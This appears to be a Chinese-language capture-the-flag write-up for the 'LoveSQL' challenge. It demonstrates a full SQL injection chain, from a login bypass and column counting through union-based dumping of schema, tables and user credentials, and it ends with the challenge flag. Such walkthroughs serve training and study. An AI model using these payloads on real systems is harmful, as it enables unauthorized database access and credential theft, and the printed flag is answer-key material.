[极客大挑战 2019]LoveSQL
1、打开题目,第一想法先进行字符型注入,使用常用的绕过
user: ' or 1=1#
pwd: 1

显示登入成功,确认为字符型注入,但是,不是我们想要的flag
2、尝试利用爆字段数(列)
user: admin
pwd: 1';order by 4#

不行,显示语法错误,抛弃堆叠注入继续爆字段数(列)
pwd: 1' order by 4#

没有到第4列
继续爆字段数(列)
pwd: 1' order by 3#

这下清楚了,数据库一共有3列
3、尝试爆破数据库,看看到底在哪个数据库里
使用联合查询
pwd:1' union select 1,2,database()#
payload解释:
1' //1'造成语法错误,方便攻击者写下自己的攻击指令
union //SQL关键字,用于合并两个查询的结果
select 1,2 //可以当作一种探测方法和占位符,探测方法:尝试用"1' or union select 1,2,3#"探测列数;占位符:当攻击者只需要获取一个数据库时,通过数字或者NULL进行占位,达到相同的列数,这样就不会报错了

数据库为“geek”
解释页面
这个页面有两个可以显示数据的窗口,但是由于我们作为攻击者把database()放在第三个,所以页面显示时,把显示的数据放在了“Your password is”的后面
下面是演示放在第二个位置
1' union select 1,database(),3#

有的人会说为什么不放在第一个位置
前面payload解释后面的“探测方法”就是为了知道这些数据到底哪些会显示出来,说是爆破数据库,但是我们还是要先测试,到底可不可行,测试示例如下
1' union select 1,2,3#

从结果可知没有显示1,一般1的位置是作为用户的“id“,是不进行输出的
4、爆完数据库后,可以开始爆数据库下的数据表
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
payload解释:
1' //1'造成语法错误,方便攻击者写下自己的攻击指令
union //SQL关键字,用于合并两个查询的结果
select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
//前面我们知道select 1,database()就是显示的窗口“1,2”,但是我们现在想知道表名,所以使用group_concat(table_name),因为网页只显示一行,所以用group_concat将所有的表名变成一个字符串,再将查询到的表名用","隔开,这样攻击者就可以在一个窗口看到全部表名;
information_schema数据库自带的元数据库,记录了所有的数据库名,表名,列名,以及权限信息,".tables"指的是专门记录所有表的信息的表;
where table_schema=database() //表所属的数据库所在位置

得到了表名两个
5、开始爆数据表的字段(列)
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#
payload解释:
1' //1'造成语法错误,方便攻击者写下自己的攻击指令
union //SQL关键字,用于合并两个查询的结果
select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#
//跟上面的一样,只不过是表改成列,变成爆破列

列也出来了
6、开始爆破数据表中列下的所有内容
1' union select 1,database(),group_concat(id,username,password) from geekuser#
爆破geekuser表,代码都大差不差,看前面的解释都能懂
爆破出来是这样

没有flag
爆破l0ve1ysq1
1' union select 1,database(),group_concat(password) from l0ve1ysq1#


得到flag
flag{e80217b8-6d80-45f0-9984-c95049e7df6d}










